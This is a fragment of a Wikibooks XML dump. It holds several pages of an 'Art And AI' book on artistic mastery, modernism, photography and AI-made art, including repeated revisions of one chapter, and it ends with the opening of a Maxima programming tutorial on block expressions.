Famous mythological painters include: Gustav Moreau, John Waterhouse, Pablo Picasso and Leonora Carrington. &lt;br&gt;
&lt;br&gt;
'''The Mythic Persona:''' &lt;br&gt;
&lt;br&gt;
Art critics and Art historians often write about iconic Artist, such as Jackson Pollock or Frederic Church, painters who have achieved larger-than-life status, and massive followings. These mythic painters have their personal identity tied to the act of creation, or to the American landscape. Other mythic personas may be tied to outer space, such as the futuristic musician Sun Ra. &lt;br&gt;
&lt;br&gt; 
According to '''&lt;u&gt;Feed Your Head: Art, Truth, And The Machine:&lt;/u&gt;''' &lt;br&gt;
In ancient traditions, the Artist was imagined as a vessel for divine inspiration, touched by muses or spirits. In the Renaissance, the Artist became a master of nature, capable of capturing reality with miraculous precision. [Feed Your Head: Art, Truth, And The Machine pg. 69] &lt;br&gt;
&lt;br&gt;
In our Post-Modern society, AI threatens these myths: &lt;br&gt;
- The myth of the lone genius &lt;br&gt;
- The romantic suffering Artist &lt;br&gt;
- The idea that skill equates with moral worth &lt;br&gt;
- The belief that mastery must be earned through pain and sacrifice. &lt;br&gt;
- The cultural bias that kept Art ''special'' at the top of the hierarchy. &lt;br&gt;
&lt;br&gt;
Perhaps there is a cultural bias that views Art as having value because it is difficult to produce. In our Post-Modern era, there appears to be a cultural shift from individual mastery, towards collective labor and collective imagination. &lt;br&gt;
&lt;br&gt;

'''&lt;code&gt;&lt;nowiki&gt;{{&lt;/nowiki&gt;[[Template:BookCat|BookCat]]&lt;nowiki&gt;}}&lt;/nowiki&gt;&lt;/code&gt;'''
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&lt;br&gt;
{{BookCat}}</text>
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    <title>Art And AI/The Post Modern Paradox</title>
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      <text bytes="2672" sha1="orsuuplejl2o4p0g08xsv7c765cp9fd" xml:space="preserve">== The Post-Modern Paradox == 
&lt;br&gt;
&quot;Is AI a cultural failure ''because'' the technology works?&quot;

This idea is a part of our Post-Modern Paradox: We got what we asked for. &lt;br&gt;
For much of this modern era, people have believed the mantra: Better living through Science and Technology. &lt;br&gt;
&lt;br&gt;
Science and Technology have:&lt;br&gt;
- Increased the food supply through advances in agriculture. &lt;br&gt;
- Discovered lifesaving drugs in medicine. &lt;br&gt;
- Supported longer lifespans &lt;br&gt;
- Reduced child mortality &lt;br&gt;
- Provided faster transportation &lt;br&gt;
- Supported Industrial productivity &lt;br&gt;
- Supported mass literacy &lt;br&gt;
- Introduced The Digital Age &lt;br&gt;
- Increased Smartphones and AI &lt;br&gt;

People wanted: &lt;br&gt;
- faster tools &lt;br&gt;
- more efficient machines &lt;br&gt;
- convenience &lt;br&gt;
- mastery with less skills &lt;br&gt;
&lt;br&gt;
Technology delivered, yet culturally, Americans are panicked. &lt;br&gt;
&lt;br&gt;
What if smart tools like AI didn't break the promise of better living through Science and Technology, but fulfilled it too well? &lt;br&gt;
&lt;br&gt;
In Art, AI gives us: &lt;br&gt;
- Instant technique &lt;br&gt;
- Infinite variation &lt;br&gt;
- Mastery without apprenticeship &lt;br&gt;
- Imagination without skill barriers. &lt;br&gt;
&lt;br&gt;
Technology works, but is that our Post-Modern problem? &lt;br&gt;

Previously, in pre-modern and Modern societies, the Artist had the burden of spending decades to learn: &lt;br&gt;
- Anatomy &lt;br&gt;
- Perspective &lt;br&gt;
- Color theory &lt;br&gt;
- Composition &lt;br&gt;
- Material Science &lt;br&gt;
- Gesture &lt;br&gt;
&lt;br&gt;
In the Art economy, their mastery was earned through scarcity: &lt;br&gt;
- Few people had the opportunity to study Art. &lt;br&gt;
- Few Artist became masters of Art. &lt;br&gt;
- Few Artist could master Art consistently. &lt;br&gt;
&lt;br&gt;
In today's Post-Modern society, AI flips the Art economy on it's head! &lt;br&gt;
- AI eliminates scarcity &lt;br&gt;
- AI does not require apprenticeship &lt;br&gt;
- AI shifts the hierarchy of technique, anyone can use AI to make good Art regardless of their skill-level. &lt;br&gt;
&lt;br&gt;
People who support and create Art feel: &lt;br&gt;
- Cheated &lt;br&gt;
- Displaced, culturally dethroned. &lt;br&gt;
&lt;br&gt;
Not because Art made using AI is &quot;fake,&quot; but because AI democratizes mastery, opening opportunities to create masters' of Art to all people, and mastery was the last gatekeeping mechanism in Art. &lt;br&gt;
&lt;br&gt;
For Artist who have a special, creative role in the world, is life truly better through AI and Science? &lt;br&gt;
&lt;br&gt;
Link: [[Art And AI/The Mythology Of The Artist|https://en.wikibooks.org/wiki/Art_And_AI/The_Mythology_Of_The_Artist]]
&lt;noinclude&gt;{{Chapter navigation with TOC||Art And AI|TOC mini}}&lt;/noinclude&gt;
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      <text bytes="2689" sha1="88qvw10tgyg2wjqxbrlzaynpaxm4apz" xml:space="preserve">== The Post-Modern Paradox == 
&lt;br&gt;
&quot;Is AI a cultural failure ''because'' the technology works?&quot;

This idea is a part of our Post-Modern Paradox: We got what we asked for. &lt;br&gt;
For much of this modern era, people have believed the mantra: Better living through Science and Technology. &lt;br&gt;
&lt;br&gt;
Science and Technology have:&lt;br&gt;
- Increased the food supply through advances in agriculture. &lt;br&gt;
- Discovered lifesaving drugs in medicine. &lt;br&gt;
- Supported longer lifespans &lt;br&gt;
- Reduced child mortality &lt;br&gt;
- Provided faster transportation &lt;br&gt;
- Supported Industrial productivity &lt;br&gt;
- Supported mass literacy &lt;br&gt;
- Introduced The Digital Age &lt;br&gt;
- Increased Smartphones and AI &lt;br&gt;

People wanted: &lt;br&gt;
- faster tools &lt;br&gt;
- more efficient machines &lt;br&gt;
- convenience &lt;br&gt;
- mastery with less skills &lt;br&gt;
&lt;br&gt;
Technology delivered, yet culturally, Americans are panicked. &lt;br&gt;
&lt;br&gt;
What if smart tools like AI didn't break the promise of better living through Science and Technology, but fulfilled it too well? &lt;br&gt;
&lt;br&gt;
In Art, AI gives us: &lt;br&gt;
- Instant technique &lt;br&gt;
- Infinite variation &lt;br&gt;
- Mastery without apprenticeship &lt;br&gt;
- Imagination without skill barriers. &lt;br&gt;
&lt;br&gt;
Technology works, but is that our Post-Modern problem? &lt;br&gt;

Previously, in pre-modern and Modern societies, the Artist had the burden of spending decades to learn: &lt;br&gt;
- Anatomy &lt;br&gt;
- Perspective &lt;br&gt;
- Color theory &lt;br&gt;
- Composition &lt;br&gt;
- Material Science &lt;br&gt;
- Gesture &lt;br&gt;
&lt;br&gt;
In the Art economy, their mastery was earned through scarcity: &lt;br&gt;
- Few people had the opportunity to study Art. &lt;br&gt;
- Few Artist became masters of Art. &lt;br&gt;
- Few Artist could master Art consistently. &lt;br&gt;
&lt;br&gt;
In today's Post-Modern society, AI flips the Art economy on it's head! &lt;br&gt;
- AI eliminates scarcity &lt;br&gt;
- AI does not require apprenticeship &lt;br&gt;
- AI shifts the hierarchy of technique, anyone can use AI to make good Art regardless of their skill-level. &lt;br&gt;
&lt;br&gt;
People who support and create Art feel: &lt;br&gt;
- Cheated &lt;br&gt;
- Displaced, culturally dethroned. &lt;br&gt;
&lt;br&gt;
Not because Art made using AI is &quot;fake,&quot; but because AI democratizes mastery, opening opportunities to create masters' of Art to all people, and mastery was the last gatekeeping mechanism in Art. &lt;br&gt;
&lt;br&gt;
For Artist who have a special, creative role in the world, is life truly better through AI and Science? &lt;br&gt;
&lt;br&gt;
Link: [[Art And AI/The Mythology Of The Artist|https://en.wikibooks.org/wiki/Art_And_AI/The_Mythology_Of_The_Artist]]
&lt;noinclude&gt;{{Chapter navigation with TOC||The Mythology Of The Artist|TOC mini}}&lt;/noinclude&gt;
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      <text bytes="2571" sha1="pm6zjhh22mxvzi9bqmtbcwyi66qfxfb" xml:space="preserve">== The Post-Modern Paradox == 
&lt;br&gt;
&quot;Is AI a cultural failure ''because'' the technology works?&quot;

This idea is a part of our Post-Modern Paradox: We got what we asked for. &lt;br&gt;
For much of this modern era, people have believed the mantra: Better living through Science and Technology. &lt;br&gt;
&lt;br&gt;
Science and Technology have:&lt;br&gt;
- Increased the food supply through advances in agriculture. &lt;br&gt;
- Discovered lifesaving drugs in medicine. &lt;br&gt;
- Supported longer lifespans &lt;br&gt;
- Reduced child mortality &lt;br&gt;
- Provided faster transportation &lt;br&gt;
- Supported Industrial productivity &lt;br&gt;
- Supported mass literacy &lt;br&gt;
- Introduced The Digital Age &lt;br&gt;
- Increased Smartphones and AI &lt;br&gt;

People wanted: &lt;br&gt;
- faster tools &lt;br&gt;
- more efficient machines &lt;br&gt;
- convenience &lt;br&gt;
- mastery with less skills &lt;br&gt;
&lt;br&gt;
Technology delivered, yet culturally, Americans are panicked. &lt;br&gt;
&lt;br&gt;
What if smart tools like AI didn't break the promise of better living through Science and Technology, but fulfilled it too well? &lt;br&gt;
&lt;br&gt;
In Art, AI gives us: &lt;br&gt;
- Instant technique &lt;br&gt;
- Infinite variation &lt;br&gt;
- Mastery without apprenticeship &lt;br&gt;
- Imagination without skill barriers. &lt;br&gt;
&lt;br&gt;
Technology works, but is that our Post-Modern problem? &lt;br&gt;

Previously, in pre-modern and Modern societies, the Artist had the burden of spending decades to learn: &lt;br&gt;
- Anatomy &lt;br&gt;
- Perspective &lt;br&gt;
- Color theory &lt;br&gt;
- Composition &lt;br&gt;
- Material Science &lt;br&gt;
- Gesture &lt;br&gt;
&lt;br&gt;
In the Art economy, their mastery was earned through scarcity: &lt;br&gt;
- Few people had the opportunity to study Art. &lt;br&gt;
- Few Artist became masters of Art. &lt;br&gt;
- Few Artist could master Art consistently. &lt;br&gt;
&lt;br&gt;
In today's Post-Modern society, AI flips the Art economy on it's head! &lt;br&gt;
- AI eliminates scarcity &lt;br&gt;
- AI does not require apprenticeship &lt;br&gt;
- AI shifts the hierarchy of technique, anyone can use AI to make good Art regardless of their skill-level. &lt;br&gt;
&lt;br&gt;
People who support and create Art feel: &lt;br&gt;
- Cheated &lt;br&gt;
- Displaced, culturally dethroned. &lt;br&gt;
&lt;br&gt;
Not because Art made using AI is &quot;fake,&quot; but because AI democratizes mastery, opening opportunities to create masters' of Art to all people, and mastery was the last gatekeeping mechanism in Art. &lt;br&gt;
&lt;br&gt;
For Artist who have a special, creative role in the world, is life truly better through AI and Science? &lt;br&gt;
&lt;br&gt;
&lt;noinclude&gt;{{Chapter navigation with TOC||The Mythology Of The Artist|TOC mini}}&lt;/noinclude&gt;
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      <text bytes="2491" sha1="6pwtadcyy8ww12fg6hksplnu8vq5hup" xml:space="preserve">== The Post-Modern Paradox == 
&lt;br&gt;
&quot;Is AI a cultural failure ''because'' the technology works?&quot;

This idea is a part of our Post-Modern Paradox: We got what we asked for. &lt;br&gt;
For much of this modern era, people have believed the mantra: Better living through Science and Technology. &lt;br&gt;
&lt;br&gt;
Science and Technology have:&lt;br&gt;
- Increased the food supply through advances in agriculture. &lt;br&gt;
- Discovered lifesaving drugs in medicine. &lt;br&gt;
- Supported longer lifespans &lt;br&gt;
- Reduced child mortality &lt;br&gt;
- Provided faster transportation &lt;br&gt;
- Supported Industrial productivity &lt;br&gt;
- Supported mass literacy &lt;br&gt;
- Introduced The Digital Age &lt;br&gt;
- Increased Smartphones and AI &lt;br&gt;

People wanted: &lt;br&gt;
- faster tools &lt;br&gt;
- more efficient machines &lt;br&gt;
- convenience &lt;br&gt;
- mastery with less skills &lt;br&gt;
&lt;br&gt;
Technology delivered, yet culturally, Americans are panicked. &lt;br&gt;
&lt;br&gt;
What if smart tools like AI didn't break the promise of better living through Science and Technology, but fulfilled it too well? &lt;br&gt;
&lt;br&gt;
In Art, AI gives us: &lt;br&gt;
- Instant technique &lt;br&gt;
- Infinite variation &lt;br&gt;
- Mastery without apprenticeship &lt;br&gt;
- Imagination without skill barriers. &lt;br&gt;
&lt;br&gt;
Technology works, but is that our Post-Modern problem? &lt;br&gt;

Previously, in pre-modern and Modern societies, the Artist had the burden of spending decades to learn: &lt;br&gt;
- Anatomy &lt;br&gt;
- Perspective &lt;br&gt;
- Color theory &lt;br&gt;
- Composition &lt;br&gt;
- Material Science &lt;br&gt;
- Gesture &lt;br&gt;
&lt;br&gt;
In the Art economy, their mastery was earned through scarcity: &lt;br&gt;
- Few people had the opportunity to study Art. &lt;br&gt;
- Few Artist became masters of Art. &lt;br&gt;
- Few Artist could master Art consistently. &lt;br&gt;
&lt;br&gt;
In today's Post-Modern society, AI flips the Art economy on it's head! &lt;br&gt;
- AI eliminates scarcity &lt;br&gt;
- AI does not require apprenticeship &lt;br&gt;
- AI shifts the hierarchy of technique, anyone can use AI to make good Art regardless of their skill-level. &lt;br&gt;
&lt;br&gt;
People who support and create Art feel: &lt;br&gt;
- Cheated &lt;br&gt;
- Displaced, culturally dethroned. &lt;br&gt;
&lt;br&gt;
Not because Art made using AI is &quot;fake,&quot; but because AI democratizes mastery, opening opportunities to create masters' of Art to all people, and mastery was the last gatekeeping mechanism in Art. &lt;br&gt;
&lt;br&gt;
For Artist who have a special, creative role in the world, is life truly better through AI and Science? &lt;br&gt;
&lt;br&gt;
&lt;noinclude&gt;{{Chapter navigation with TOC||The Mythology Of The Artist|TOC mini}}&lt;/noinclude&gt;
&lt;br&gt;
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  <page>
    <title>Art And AI/The Psychology Of Mastery</title>
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      <text bytes="3821" sha1="nlhveghrcesux8cwpxjvmb4g03id8tm" xml:space="preserve">== The Psychology of Mastery ==
&lt;br&gt;
Psychology is the Science that studies the human mind and human behavior. &lt;br&gt;
&lt;br&gt;
During the era of Modernism, many Artists turned their focus away from reflecting the real world around them, towards reflecting their inner states: their emotions, dreams and inner visions. &lt;br&gt;
&lt;br&gt;
Traditional Masters' of Art spent lifetimes gathering skills needed to master Art techniques. Masters of Modern Art spent time reflecting their inner states. Perhaps they were Artist who had mastered Psychology. &lt;br&gt;
&lt;br&gt;

=== From Individual Mastery To Collective Imagination ===

=== Modernism says: ===
'''- Mastery is noble:''' &lt;br&gt;
Modern Art masters are influential painters and sculptors who broke away from traditional forms, influencing Art in the late 19th and 20th centuries. &lt;br&gt;
&lt;br&gt;
Modern Art masters include Pablo Picasso, Henri Matisse, Wassily Kandinsky, Joan Miro, and Marc Chagall. &lt;br&gt;
&lt;br&gt;
'''- Technique is identity:''' &lt;br&gt;
Many Artist built their entire artistic identity around a unique, signature technique that defined their work and made them instantly recognized. &lt;br&gt;
&lt;br&gt;
Jackson Pollock used the drip painting technique. George Seurat invented Pointillism, and Roy Lichtenstein based his Pop Art identity on Ben-Day dots. &lt;br&gt;
&lt;br&gt;
'''- The Artist is a hero:''' &lt;br&gt;
Paul Cezanne is an example of a modernist hero as is Vincent Van Gogh. &lt;br&gt;
&lt;br&gt;
Paul Cezanne is viewed as a lonely genius who waged a heroic battle against state-controlled Art academies, laying the foundation for modern abstraction. &lt;br&gt;
&lt;br&gt;
Although Vincent Van Gogh pre-dated Modernism, he is seen as the ultimate archetype of the hero. His tragic, solitary life, and his expressive brushwork heavily inspired the avant-garde movements that followed. &lt;br&gt;
&lt;br&gt;

=== Post-Modernism says: ===
'''- Meaning is fluid:''' &lt;br&gt;
Cindy Sherman is an Artist famous for her Untitled Film Stills series. Sherman photographs herself staging cliched female personas from 1950s and 60s cinema. Because she never captures a authentic self, her identity becomes entirely fluid, performable, and fragmented. By allowing the viewers to project their own cultural assumptions and cultural background about who Cindy is, the Artist proves that meaning and identity are constructs. &lt;br&gt;
&lt;br&gt;
'''- Authorship is shared:''' &lt;br&gt;
Post-Modern Artists who share or challenge traditional authorship have collaborated, forming creative duos, or have appropriated Art in their attempt to question individual creative ownership. &lt;br&gt; 
Famous collaborative duos include Andy Warhol and Jean-Michel Basquiat. They produced over 160 joint works in 1980s New York. &lt;br&gt;
Sherrie Levine, a famous appropriation Artist, has re-photographed and exhibited famous works by photographers like Walker Evans. Levine argued that authorship was defined by use rather than original creation.
&lt;br&gt;  
&lt;br&gt;
'''- The Artist is a node in a network:''' &lt;br&gt;
The idea that the Artist is a node in a network was coined by Nicolas Bourriaud in the late 1990s. This shifts away from the idea of the Artist as a lone, heroic genius. &lt;br&gt;
Instead, the Artist is seen as a social conduit connecting information, communities, and digital infrastructures.  &lt;br&gt;
&lt;br&gt;
=== AI says: ===
'''- The network is the Artist:''' Some people argue that typing in the prompt to generate an image is like commissioning a human painter. The prompt provides the idea, but the system executes the work. &lt;br&gt;
&lt;br&gt;
&lt;br&gt;
Link: https://en.wikibooks.org/wiki/Art_And_AI/Artist_Strike &lt;br&gt;
&lt;br&gt;
Link: [[Art And AI/Art Theft|Art And AI/Art Theft - Wikibooks, open books for an open world]]
&lt;br&gt;


'''&lt;code&gt;&lt;nowiki&gt;{{&lt;/nowiki&gt;[[Template:BookCat|BookCat]]&lt;nowiki&gt;}}&lt;/nowiki&gt;&lt;/code&gt;'''
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  <page>
    <title>Art And AI/Artist Strike</title>
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      <text bytes="2581" sha1="lahsf0xyl1bcg65spvt768ynmdjsh70" xml:space="preserve">== Artists Strike? ==

According to &lt;u&gt;Feed Your Head: Art, Truth, And The Machine:&lt;/u&gt;

Technology makes creating Art easier. In the modern era, Technology made capturing nature and better likenesses of people, easy with the camera, which creates photographs. Yet many Artists embraced a minimal technique, or embraced their imaginations. Did they go on strike? Striking against realism in order to remain true to their craft? [Feed Your Head: Art, Truth, And The Machine pg. 5]

Could Professional Artist during the 20th century, have privately gone on strike in a personal rebellion against modern technological advancements, such as the camera?

In &lt;u&gt;Feed Your Head: Art, Truth, And The Machine&lt;/u&gt;, Copilot [AI] suggests that Modernism may have been a &quot;cultural pivoting point where technology first collided with artistic identity.&quot;
 &quot;...Modernism wasn't just a style shift; it was a reaction -- almost a strike -- against the camera, against realism, against the machine.&quot;

Copilot shapes it's argument carefully, by suggesting that the camera was more than a technological disruption, it was existential.

For thousands of years, Realism was the pinnacle of artistic development. Realism required mastery of: &lt;br&gt;
- Anatomy &lt;br&gt;
- Perspective &lt;br&gt;
- Light &lt;br&gt;
- Likeness &lt;br&gt;

Suddenly, a machine could capture realistic images better, faster, with greater accuracy. 
Perhaps Modernism is the strike. &lt;br&gt;
When Artist abandoned Realism, they started creating Art from their imagination, dreams, abstractions, gestures, emotions, distortions, symbolism, and subconscious imagery. &lt;br&gt;
In a historic pivot, they rejected Realism, classical techniques, and the idea that Art must imitate nature. 

Modernism may have been a strategic ''cultural rebellion''. 

=== Is It still Art if it's not made with Art supplies? ===

A equally important group of Artist in the early 19th century embraced the camera. Although Photographers were mocked as &quot;button-pushers,&quot; and people denounced photography as Art because it lacked human touch, or because people thought it was cheating, Photography eventually became Fine Art, Documentary Art, Fashion Art, Surrealist Art, and Conceptual Art. 

There were many Artist who believed that Technology was not the enemy of Art, but that it was the evolution of Art. &lt;br&gt;
Two early Art heroes on the side of technology were Alfred Stieglitz and Man Ray. &lt;br&gt;
&lt;br&gt;
Link: https://en.wikibooks.org/wiki/Art_And_AI/Welcome_To_The_Machine
&lt;br&gt;
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  <page>
    <title>Art And AI/Welcome To The Machine</title>
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      <text bytes="4782" sha1="fk5k2svd86tsmqef1l1ff3rpnp9wtnj" xml:space="preserve">== The Modernist Who Welcomed The Machine ==
&lt;br&gt;
Although some Artist may have went on strike against Realism, retreating to realms where Technology could not follow, other Artist embraced the new Technology. They saw Technology as a new set of tools, expanding the boundaries of what Art could be. &lt;br&gt;
&lt;br&gt;
These Modernist embraced: &lt;br&gt;
- Industrial Materials &lt;br&gt;
- Film &lt;br&gt;
- Photography &lt;br&gt;
- Mechanical Reproduction &lt;br&gt;
- Electricity &lt;br&gt;
- Mass Media &lt;br&gt;
- Automation &lt;br&gt;
- Abstraction inspired by machinery &lt;br&gt;
&lt;br&gt;
Art Movements: &lt;br&gt;
- Futurists &lt;br&gt;
- Constructivists &lt;br&gt;
- Bauhaus Artists &lt;br&gt;
- Duchamp &lt;br&gt;
- Moholy-Nagy &lt;br&gt;

=== Alfred Stieglitz ===
According to Wikipedia, &quot;Alfred Stieglitz was an American Photographer and modern Art promoter who was instrumental over his 50-year career in making Photography an accepted Art form.&quot; [https://en.wikipedia.org/wiki/Alfred_Stieglitz]

&lt;br&gt;
{| class=&quot;wikitable&quot;
|+ 
|-
! Modern Art
|-
| [[File:Alfred Stieglitz - The Hand of Man - Google Art Project.jpg|thumb|Alfred Stieglitz - The Hand of Man - Google Art Project]]
|}
&lt;br&gt;
Stieglitz spent decades proving that Photography was a new artistic language. &lt;br&gt;
He did this through: &lt;br&gt;
- Exhibitions &lt;br&gt;
- Essays &lt;br&gt;
- Galleries &lt;br&gt;
- Mentorships &lt;br&gt;
- His own photographs &lt;br&gt;

He proved that Photography could be abstract, symbolic, emotional and non-representational. &lt;br&gt;
&lt;br&gt;
=== Man Ray ===

According to Wikipedia, Man Ray (born Emmanuel Radnitzky; August 27, 1890 – November 18, 1976) was an American-born, French-naturalized visual artist. Man Ray spent most of his career in Paris, as a significant contributor to the Dada and Surrealist movements. He produced major works in a variety of media, but considered himself a painter. He was a Photography innovator, a portrait and fashion Photographer, and is remembered for his work with photograms, which he called &quot;rayographs.&quot;

In Feed Your Head: Art, Truth, And The Machine, the AI system known as Copilot, analyses Man Ray -- the Surrealist who treated the camera like a dream engine.

Copilot: While other Modernists abandoned realism, Man Ray leaned into the machine.
He used the camera to distort reality, to bend light, to create images that felt like hallucinations.
He didn’t see photography as a threat — he saw it as a portal.

He used photography not to imitate reality, '''but to bend it, distort it, abstract it''', and dream through it.

{| class=&quot;wikitable&quot;
|+ 
|-
! Modern Art
|-
| [[File:Surface Réglée - Man Ray - vers 1936.jpg|thumb|Surface Réglée - Man Ray - vers 1936]]
|}

He created:

- Rayographs (camera‑less images made with light)

- Solarization (surreal halos around forms)

- Distorted portraits

- Mechanical surrealism

- Dream‑logic compositions

He proved something radical:

A machine can be used to express imagination, not just record reality.


Man Ray proves that Technology doesn’t kill imagination. For some people, it expands it. &lt;br&gt;
&lt;br&gt;

=== Marcel Duchamp ===
According to Wikipedia, Marcel Duchamp (July 28 1887 – October 2 1968) was a French American artist, chess player, and inventor who played a key role in the development of the avant-garde in the United States and in New York City, where he spent the last 25 years of his life. Marcel Duchamp contributed to Cubism, Dada, and Conceptual Art. 

Duchamp is best known for his work of anti-art Fountain, where he signed the name &quot;R. Mutt 1917&quot; on a urinal. According to Wikipedia, &quot;His work is considered the progenitor of conceptual Art.&quot; &lt;br&gt;
&lt;br&gt;
{| class=&quot;wikitable&quot;
|+ Caption text
|-
! Modern Art
|-
| [[File:Marcel Duchamp Fountain at Tate Modern by David Shankbone.jpg|thumb|Marcel Duchamp Fountain at Tate Modern by David Shankbone]]
|}
&lt;br&gt;
Duchamp: &lt;br&gt;
- Started Conceptual Art, a Art movement where the idea, or concept, behind the work matters more than its execution, more than the physical object, or traditional aesthetic skill. &lt;br&gt;
- Popularized &quot;Readymades,&quot; found objects which Duchamp chose and presented as Art. &lt;br&gt;
- His Fountain, a urinal signed with the pseudonym R. Mutt, was selected in 2004 as &quot;the most influential artwork of the 20th century&quot; by 500 renowned Artist and Historians.  &lt;br&gt;

Why is Marcel Duchamp special? &lt;br&gt;
Marcel Duchamp influenced Modern Art, by proving that the Artist's idea, concept, or intention was more important than physical craftmanship. This shift in conception may have directly influenced how we interact with AI when we make Art with AI. &lt;br&gt;  
&lt;br&gt;
Link: https://en.wikibooks.org/wiki/Art_And_AI/Documentary_Art

Link: [[Art And AI/Art Theft|Art And AI/Art Theft - Wikibooks, open books for an open world]]
&lt;br&gt;
&lt;noinclude&gt;{{Chapter navigation with TOC||Documentary Art|TOC mini}}&lt;/noinclude&gt;
&lt;br&gt;
{{BookCat}}</text>
      <sha1>fk5k2svd86tsmqef1l1ff3rpnp9wtnj</sha1>
    </revision>
  </page>
  <page>
    <title>Art And AI/Documentary Art</title>
    <ns>0</ns>
    <id>485498</id>
    <revision>
      <id>4670543</id>
      <parentid>4670147</parentid>
      <timestamp>2026-09-17T01:54:42Z</timestamp>
      <contributor>
        <username>3MMPEYTON</username>
        <id>3393808</id>
      </contributor>
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      <text bytes="858" sha1="13kbshs3dsxuhsrstux0igqnv8oy405" xml:space="preserve">== Documentary Art? ==
&lt;br&gt;
'''Were Modernist the first people to embraced technology, and new psychological insights, to document their culture's decline?'''
&lt;br&gt;
{| class=&quot;wikitable&quot;
|+ 
|-
! Modern Art
|-
| [[File:Edvard Munch - The Scream - Google Art Project.jpg|thumb|Edvard Munch, The Scream, 1910.]]
|}
&lt;br&gt;

{| class=&quot;wikitable&quot;
|+ 
|-
! Documentary Art
|-
| [[File:Going to Work - L S Lowry.jpg|thumb|Going to Work - L S Lowry]]
|}
&lt;br&gt;
&lt;br&gt;
{| class=&quot;wikitable&quot;
|+ 
|-
! Photography
|-
| [[File:Alfred Stieglitz - The Hand of Man - Google Art Project (color corrected).jpg|thumb|Alfred Stieglitz - The Hand of Man - Google Art Project (color corrected)]]
|}
&lt;br&gt;
&lt;br&gt;
Link: https://en.wikibooks.org/wiki/Art_And_AI/The_Role_Of_The_Artist
&lt;br&gt;
&lt;noinclude&gt;{{Chapter navigation with TOC||The Role Of The Artist|TOC mini}}&lt;/noinclude&gt;
&lt;br&gt;
{{BookCat}}</text>
      <sha1>13kbshs3dsxuhsrstux0igqnv8oy405</sha1>
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  </page>
  <page>
    <title>Maxima/Programming</title>
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        <username>Idavidmiller</username>
        <id>3577687</id>
      </contributor>
      <comment>/* Nested Block Expressions */ Work in progress. Saving Changes.</comment>
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      <text bytes="17830" sha1="fsxhel7e3ndjb4dw0e42smvwytjtuk9" xml:space="preserve">=Maxima Programming=
Although Maxima is not a general-purpose programming language, Maxima as a CAS includes among the built-in ingredients a relatively complete set of programming expressions that are useful for the intended context. Many of the code examples of this section are intended to be illustrative of technical details relevant to Maxima programming as their purpose, and consequently are intentionally elementary in character.

Learning any sort of programming language, including Maxima programming expressions, is a subjective process. In any case, it is essential to have enough technical know-how specific to the programming language in order to begin the learning process, even in cases where much positive transfer from other programming experience is involved.

Much can be accomplished mathematically using Maxima without having to resort to in-depth knowledge and proficiency in the technical details of Maxima programming expressions. However, Maxima programming expressions are frequently essential for the purpose of defining functions, both in the programming sense of the term, but also more relevantly, to the mathematical sense. For that reason alone, familiarity and sufficient proficiency with Maxima programming expressions should be given some attention.

One way to begin the learning process is to become familiar with enough of the programming essentials to accomplish independent efforts toward accomplishing some specific programming goal of interest.  The other way is to study the many available programming expressions of others. This section is intended to provide the essentials toward learning by whatever means is chosen.

The following table shows some built-in ingredients related to Maxima programming expressions:
{| class=&quot;wikitable&quot;
|+Maxima Programming Category
|if
|unless
|errcatch
|prederror
|-
|block
|for
|error
|return
|-
|catch
|from
|warning
|throw 
|-
|local
|thru
|errormsg
|sstatus
|-
|garbage_collect
|step
|errormsg
|status
|-
|do
|next
|go
|
|-
|while
|in
|
|
|}

Some of these programming expression ingredients can also be considered as belonging to one or more other categories than the Programming category.

=== Block Expressions ===
Arguably, the first expressions to consider in the context of Maxima programming are '''''block''''' expressions. Block expressions as programming ingredients come in two flavors:

* &lt;code&gt;( expr&lt;sub&gt;1&lt;/sub&gt;, expr&lt;sub&gt;2&lt;/sub&gt;,…, expr&lt;sub&gt;n&lt;/sub&gt; )&lt;/code&gt;
* &lt;code&gt;block ([v&lt;sub&gt;1&lt;/sub&gt;,v&lt;sub&gt;2,&lt;/sub&gt;…,v&lt;sub&gt;m&lt;/sub&gt;], expr&lt;sub&gt;1&lt;/sub&gt;, expr&lt;sub&gt;2&lt;/sub&gt;,…, expr&lt;sub&gt;n&lt;/sub&gt;)&lt;/code&gt;

The first form of a block expression is equivalent to the second form, but without the first list argument: &lt;code&gt;[v&lt;sub&gt;1&lt;/sub&gt;,v&lt;sub&gt;2,&lt;/sub&gt;…,v&lt;sub&gt;m&lt;/sub&gt;]&lt;/code&gt;, as in &lt;code&gt;block (expr&lt;sub&gt;1&lt;/sub&gt;, expr&lt;sub&gt;2&lt;/sub&gt;,…, expr&lt;sub&gt;n&lt;/sub&gt;&lt;/code&gt;, unless &lt;code&gt;return&lt;/code&gt; or &lt;code&gt;go&lt;/code&gt; are used in the block expression. In that, case the form &lt;code&gt;block (expr&lt;sub&gt;1&lt;/sub&gt;, expr&lt;sub&gt;2&lt;/sub&gt;,…, expr&lt;sub&gt;n&lt;/sub&gt;)&lt;/code&gt; must be used.

The purpose of the list argument,  &lt;code&gt;[v&lt;sub&gt;1&lt;/sub&gt;,v&lt;sub&gt;2,&lt;/sub&gt;…,v&lt;sub&gt;m&lt;/sub&gt;]&lt;/code&gt; is to declare the values of identifiers of the list to be local to the &lt;code&gt;block&lt;/code&gt;. If there is no need for local identifiers, the list argument can be omitted, unless &lt;code&gt;return&lt;/code&gt; or &lt;code&gt;go&lt;/code&gt; are used in the &lt;code&gt;block&lt;/code&gt; expression, and either form is sufficient.&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;/* This block expression */
(%i1)	(x : 2, x^2);
(%o1)	4

/* Is equivalent to this block expression */
(%i2)	block (x : 2, x^2);
(%o2)	4&lt;/syntaxhighlight&gt;So, in the case where values of identifiers local to the &lt;code&gt;block&lt;/code&gt; of expressions are not required, then the choice of either form of the &lt;code&gt;block&lt;/code&gt; expression is a matter of user preference, . In both cases, the values of identifiers referenced in the &lt;code&gt;block&lt;/code&gt; are global, and not local to the &lt;code&gt;block&lt;/code&gt;.&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
/* The value 3 assigned to x is global */
(%i3)	x : 3;
(x)	    3

/* The value 2 assigned to x in the block is global */
(%i4)	(x : 2, x^2);
(%o4)	4

/* The global value assigned to x in the block is 2 not 3 */
(%i5)	x;
(%o5)	2
&lt;/syntaxhighlight&gt;Values of identifiers local to the &lt;code&gt;block&lt;/code&gt; may not be global:&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;/* the value of identifier y is local only */
(%i6)	block ([y], y : 4, y);
(%o6)	4

/* the global value of identifier y is not 4, but is itself */
(%i7)	y;
(%o7)	y

/* the values of identifiers x and y are both local */
(%i8)	block ([x,y], x : 3, y : 4, x);
(%o8)	3

/* the global value of identifier x is not 3, but is 2 */
